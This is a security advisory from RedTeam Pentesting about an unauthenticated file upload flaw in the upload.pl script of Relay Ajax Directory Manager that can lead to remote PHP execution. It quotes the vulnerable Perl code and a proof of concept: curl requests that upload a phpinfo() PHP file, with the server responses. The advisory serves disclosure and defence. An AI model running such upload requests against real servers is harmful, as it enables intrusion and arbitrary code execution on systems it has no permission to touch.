Unauthenticated File Upload in Relay Ajax Directory Manager may Lead to Remote Command Execution
A vulnerability within the Relay Ajax Directory Manager web application allows unauthenticated attackers to upload arbitrary files to the web server running the web application.
Details
- Product: Relay Ajax Directory Manager
- Affected Versions: relayb01-071706, 1.5.1, 1.5.3 were tested, other
- versions most likely vulnerable as well.
- Fixed Versions: -
- Vulnerability Type: Unauthenticated File Upload
- Security Risk: high
- Vendor URL:
https://github.com/HadoDokis/Relay-Ajax-Directory-Manager
- Vendor Status: decided not to fix, project is unmaintained
- Advisory URL:
https://www.redteam-pentesting.de/advisories/rt-sa-2016-005
- Advisory Status: published
- CVE: GENERIC-MAP-NOMATCH
- CVE URL:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
Introduction
Relay Ajax Directory Manager, also known as relay, is a web-based file manager. It allows files and folders to be uploaded via drag and drop and provides several other features, such as a thumbnail preview for images and basic user authentication functionality.
More Details
While the web application itself is mostly written in PHP, it also utilizes the Perl script ‘upload.pl’ for handling uploads initiated by the user.
Uploading is a multi-step process:
- The user initiates a multipart/form-data upload request through the web application. This request is sent to the Perl script and the following steps are handled by it.
- A temporary file containing the entire request (including headers) is created. This temporary file is named partly by the first URL parameter, as shown in the following listing.
- The headers and the POST body of the request are parsed and filtered to determine the final filename.
- The upload is written to the final destination.
- A file containing statistics about the upload process is written
During steps 2-5, no checks are performed to ensure that the user is sufficiently authenticated.
The following listing shows parts of the upload Perl script:
[...]
@qstring=split(/&/,$ENV{'QUERY_STRING'});
$sessionid = $qstring[0];
[...]
$tmpfile = "$uploadsFolder\\temp_$sessionid";
$statsfile = "$uploadsFolder\\stats_$sessionid.txt";
$tmpfilepre= "$uploadsFolder\\$sessionid\_";
[...]
open(FILE,">","$tmpfilepre$filename") or print "can't open temp file";
binmode(FILE);
print FILE $filedata;
close FILE;
[...]
Here, the first URL parameter is stored in the variable $sessionid. The content of this variable is then used as a prefix for the filename for the uploaded data before it ultimately gets written. Given the configured upload directory, which is ‘uploads/’ by default, the URL of the uploaded file can be determined.
The web application usually requires users to be authenticated before any actions (e.g. uploading) can be performed, but since the Perl script is not secured by any form of authentication, it can be accessed by anyone. If the web server does not prohibit the execution of e.g. PHP files within the upload directory, arbitrary PHP commands can be executed by uploading the respective files to the web server.
Proof of Concept
In general, the Perl script expects a request containing multipart/form-data. In this case, the name specified in the ‘filename’ field is prepended with the first URL parameter. Using the command line HTTP client curl, a request like the following can be made to a vulnerable installation of Relay Ajax Directory Manager in order to upload a PHP script which invokes the function ‘phpinfo()’:
$ curl -i -s -k -X 'POST' \
-H 'Content-Type: multipart/form-data; boundary=----------------------------83ff53821b7c' \
--data-binary $'------------------------------83ff53821b7c\x0d\x0a'\
$'Content-Disposition: form-data; filename=\"info.php\"\x0d\x0a'\
$'Content-Type: application/octet-stream\x0d\x0a\x0d\x0a'\
$'<?php phpinfo(); ?>\x0d\x0a'\
$'------------------------------83ff53821b7c--' \
http://example.com/relay-1-5-3/upload.pl?redteam
The server responds with HTTP status code 200 indicating a successful upload:
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 11:09:50 GMT
Server: Apache/2.4.18 (Debian)
Content-Length: 0
Content-Type: text/plain
Such a request would yield the following files in the web server’s upload directory upon success:
$ ls relay-1-5-3/uploads/
redteam_info.php stats_redteam.txt temp_redteam
The file redteam_info.php contains the multipart/form-data that was sent to the upload.pl script:
$ cat relay-1-5-3/uploads/temp_redteam.php
<?php phpinfo(); ?>
Requesting this file with the URL http://example.com/relay-1-5-3/uploads/redteam_info.php will then yield the server’s output of the phpinfo() function.
However, since the entire content of the upload request is saved to a temporary file, a regular POST request containing only the code to be executed is sufficient to exploit this vulnerability. The following invocation of curl uploads the same PHP script which invokes the function ‘phpinfo()’:
$ curl --silent --include --data '<?php phpinfo(); ?>' \
'http://example.com/relay-1-5-3/upload.pl?redteam.php'
In the server’s upload directory, the file temp_redteam.php contains the data that was sent to the upload.pl script:
$ ls relay-1-5-3/uploads/
stats_redteam.php.txt temp_redteam.php
$ cat temp_redteam.php
<?php phpinfo(); ?>
Requesting this file with the URL http://example.com/relay-1-5-3/uploads/temp_redteam.php will again yield the server’s output of the phpinfo() function.
Using either of these methods, an attacker is able to upload arbitrary files to the affected web server e.g. in order to easily execute PHP commands with the privileges of the web server.
Workaround
One possible workaround would be to prevent the execution of files in the upload directory and deliver them as attachments instead.
Fix
None.
Security Risk
This vulnerability allows unauthenticated attackers to upload arbitrary files to the affected system. In the web server’s and project’s default configuration it is very likely that this may be used to execute arbitrary commands with the privileges of the web server process. This is possible without authentication, thereby providing no barrier for attackers. It is therefore rated as a high risk. Since this software is quite old and not well maintained, it is likely that additional vulnerabilities exist. However, this was not further evaluated.
Timeline
- 2015-11-19 Vulnerability discovered
- 2016-04-07 Customer approved disclosure of vulnerability
- 2016-05-12 Developers contacted, project is no longer maintained
- 2016-05-31 Advisory published
RedTeam Pentesting GmbH
RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/